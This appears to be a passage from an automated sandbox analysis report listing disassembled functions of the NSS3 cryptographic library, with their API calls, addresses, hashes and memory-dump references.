Part of subcall function 6CBDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF47
Part of subcall function 6CBDCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF67
Part of subcall function 6CBDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CBDCD93,?,?,?,?,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF78

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 79b46f34d0e78cd0a905192770e088fdd68d226e0a7363589ef0366a55e1fc9d
Instruction ID: d8bd4ac0bb205db8e6979ce1c1c05fdc2c8aa44b2c3b3a1643c0d81dc6462747
Opcode Fuzzy Hash: 79b46f34d0e78cd0a905192770e088fdd68d226e0a7363589ef0366a55e1fc9d
Instruction Fuzzy Hash: 1951B4B6A001529FE710DF69DC40BAA73F5EF48358F260524D949A7B41EB31F905CB92

Function 6CBAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CBAEF38

Part of subcall function 6CB99520: PK11_IsLoggedIn.NSS3(00000000,?,6CBC379E,?,00000001,?), ref: 6CB99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CBAEF53

Part of subcall function 6CBB4C20: TlsGetValue.KERNEL32 ref: 6CBB4C4C
Part of subcall function 6CBB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CBB4C60
Part of subcall function 6CBB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CA1
Part of subcall function 6CBB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CBE
Part of subcall function 6CBB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4CD2
Part of subcall function 6CBB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB4D3A

PR_GetCurrentThread.NSS3 ref: 6CBAEF9E

Part of subcall function 6CC39BF0: TlsGetValue.KERNEL32(?,?,?,6CC80A75), ref: 6CC39C07

free.MOZGLUE(00000000), ref: 6CBAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBAF016
free.MOZGLUE(00000000), ref: 6CBAF022

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: eb7d6cadb936dfed89d395a5ef763204d4c0fecccfe7c22791be897591ef8cdc
Instruction ID: 42301e18e1f61de9b8e27f448feb223581348f54ee65de1316e7d96873c63bf0
Opcode Fuzzy Hash: eb7d6cadb936dfed89d395a5ef763204d4c0fecccfe7c22791be897591ef8cdc
Instruction Fuzzy Hash: E04191B1E00249AFDF018FE9DC85BEE7BB9EF48358F004025F914A6350E772D9168BA1

Function 6CB84860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB84894

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB848CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB848DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CB848FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB84912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB8494A

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: c7d511ef81cb137b77d443b9207a694aa22d86f9d2123228fac8e2e51ba315fc
Instruction ID: 14b92b2503d9942e7463f360dca613d4b9c69fb2351b686b56bf04a43ea02ca6
Opcode Fuzzy Hash: c7d511ef81cb137b77d443b9207a694aa22d86f9d2123228fac8e2e51ba315fc
Instruction Fuzzy Hash: F941B171A06385AFE710CA69D8A0BAF73ECDF84218F40052CEA5597B41F770D908CB57

Function 6CC08AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6CBF6F38), ref: 6CC08B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6CC08B58
NSS_OptionGet.NSS3(00000009,?), ref: 6CC08B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6CBF6F38), ref: 6CC08BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6CC08C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6CC08C1A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: 3e23b874f9d63e812f0ebc944260d07dc22c210e3cf4516f8a3cd42b6dae796f
Instruction ID: cfbd12947de64fd5450c8bf341d8a4793f4ddd18caf5ec2dc70f873363756254
Opcode Fuzzy Hash: 3e23b874f9d63e812f0ebc944260d07dc22c210e3cf4516f8a3cd42b6dae796f
Instruction Fuzzy Hash: 3F412961F021459BEF009BAADC91BEE36F5EB41318F848437CD49D7AC0F326AA45C796

Function 6CB8E400 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E44F

Part of subcall function 6CB92C40: TlsGetValue.KERNEL32(6CB93F23,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C62
Part of subcall function 6CB92C40: EnterCriticalSection.KERNEL32(0000001C,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C76
Part of subcall function 6CB92C40: PL_HashTableLookup.NSS3(00000000,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C86
Part of subcall function 6CB92C40: PR_Unlock.NSS3(00000000,?,?,?,?,6CB8E477,?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB92C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6CB93F23,?), ref: 6CB8E52F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: d35d7e87497f11b4311ff2982fc87eda8148cda6de4d4f149fe2bb7d7b378080
Instruction ID: debcbb8ae6f30cb35c69aded436f7e077ef95d9152fec385d630895329fc10fb
Opcode Fuzzy Hash: d35d7e87497f11b4311ff2982fc87eda8148cda6de4d4f149fe2bb7d7b378080
Instruction Fuzzy Hash: 4D412CB8A06695CFCB00EF78D5845AEBBF0FF05304B054969D8959B711E730E884CBE2

Function 6CB9CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CB9CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CB9D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CB9D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB9D025
PR_NewLock.NSS3 ref: 6CB9D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB9D074

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: be8a87195c963d9566ee9fb73560f956de4f7a695265a15c6df0a4d3732c61e9
Instruction ID: b11a95f5f22010ee523dc19817ab2baff452fd124effb15b17ac2123c3ece515
Opcode Fuzzy Hash: be8a87195c963d9566ee9fb73560f956de4f7a695265a15c6df0a4d3732c61e9
Instruction Fuzzy Hash: C741B3B0A013518FDB10DF3AD89079A7BA8EF0A318F114179DC1D8BB56E774D489CB92

Function 6CB82E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB72D1A), ref: 6CB82E7E

Part of subcall function 6CBD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB78298,?,?,?,6CB6FCE5,?), ref: 6CBD07BF
Part of subcall function 6CBD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBD07E6
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD081B
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD0825

PR_Now.NSS3 ref: 6CB82EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB82EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB72D1A), ref: 6CB82F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB72D1A), ref: 6CB82F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB82F81

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 12da43f9ac1b7f50a13ab1d45abbcd4e5141cdd9bb1438a362986966cdce9ad7
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CD31C1715031C08BEF14C655DC88BBEB265EB81318F64497AD42997AD0EB31D88AC623

Function 6CB70E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB70A2C), ref: 6CB70E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB70A2C), ref: 6CB70E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB70A2C), ref: 6CB70E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB70A2C), ref: 6CB70E90
free.MOZGLUE(00000000), ref: 6CB70EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB70A2C), ref: 6CB70ED9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: a3a4cdd3e434da79251a0085dcb71b4a31081f6b76a07ba15d17451f362568d7
Instruction ID: 3426dbe65e36454cd0aea3090e2a571c046f809b50ec03c9895814457bc122f3
Opcode Fuzzy Hash: a3a4cdd3e434da79251a0085dcb71b4a31081f6b76a07ba15d17451f362568d7
Instruction Fuzzy Hash: 41212C72E002C45BEB204966BC45B6F76AEDBC1648F194037EC3C63B42EA62D81583B3

Function 6CB5A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CC39270), ref: 6CB5A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CC39270), ref: 6CB5A9DE

Part of subcall function 6CB5AB40: __aulldiv.LIBCMT ref: 6CB5AB66

Part of subcall function 6CC3CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CC3CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CB5AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CB5AA39
EnterCriticalSection.KERNEL32(?), ref: 6CB5AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB5AAEB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 09cd4ba892e17d898a69e228f81c0c2d5d26e0d0378d01d466b63621ddf0e4fd
Instruction ID: c3004a5b73a647cc65732fb2ad2da11e704000aafaaefbfce496a27c6f435cf2
Opcode Fuzzy Hash: 09cd4ba892e17d898a69e228f81c0c2d5d26e0d0378d01d466b63621ddf0e4fd
Instruction Fuzzy Hash: 5F41AE74A047418FD7009F28C5847A6BBF1FB06328F68866DE45D9B641DB71E992CFA0

Function 6CB888D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB90725,00000000,00000058), ref: 6CB88906
EnterCriticalSection.KERNEL32(?), ref: 6CB8891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CB8894A
calloc.MOZGLUE(00000001,6CB9072D,00000000,00000000,00000000,?,6CB90725,00000000,00000058), ref: 6CB88959
memset.VCRUNTIME140(?,00000000,?), ref: 6CB88993
PR_Unlock.NSS3(?), ref: 6CB889AF

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 5de054b0eeb73793c9a500a6e9e46b43100e638d467ff1fda44fdd4add18f23f
Instruction ID: 70b397cdd4caf94dc81ad1d0b7873e4b657bf4de6edb3ddf69ca436d15e864b8
Opcode Fuzzy Hash: 5de054b0eeb73793c9a500a6e9e46b43100e638d467ff1fda44fdd4add18f23f
Instruction Fuzzy Hash: AD310272E02251ABD7009F28DC41A5AB7B8EF0531CF15862AEC18DBB42E732E945C7D2

Function 6CB7AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB7AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB7AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB7AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB7AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CC99500), ref: 6CB7AF23

Part of subcall function 6CBCF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBCF0C8
Part of subcall function 6CBCF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBCF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB7AF37

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: fc77c55d0d3c690ecd0f1818020dbdb6f067f3aa3fa9d95d0149c1b41ba35073
Instruction ID: 15ae9e5b3b95da676b863f1cacd182da143f6fe284d844bbe5544def3cf1bed4
Opcode Fuzzy Hash: fc77c55d0d3c690ecd0f1818020dbdb6f067f3aa3fa9d95d0149c1b41ba35073
Instruction Fuzzy Hash: 2E2128B29092409BEF208F189C01B9A7BA4EF85728F144318FC689F780F731D5058BB7

Function 6CC88A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6CC88A8F

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

htons.WSOCK32(?), ref: 6CC88ACB
PR_GetCurrentThread.NSS3(?), ref: 6CC88AE2
htons.WSOCK32(?), ref: 6CC88B1E
htonl.WSOCK32(7F000001,?), ref: 6CC88B3B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: d0d3701d15a5cb875b6c1eab677f4e41a52fd7c11e0dc39566cc2f720bc59f4c
Instruction ID: ccd31133c1fb0ef868de7ccb8d119995144f17d7939e3e806d4cd19af710f8e9
Opcode Fuzzy Hash: d0d3701d15a5cb875b6c1eab677f4e41a52fd7c11e0dc39566cc2f720bc59f4c
Instruction Fuzzy Hash: 0B21AD70D1675195C3208F3689419B7BAF5AF9570CB11DA1FE8D983E10F734A4C0C394

Function 6CBFEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFEE85
realloc.MOZGLUE(B67A13E6,?), ref: 6CBFEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CBFEEC5

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

htonl.WSOCK32(?), ref: 6CBFEEE3
htonl.WSOCK32(00000000,?), ref: 6CBFEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CBFEF01

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
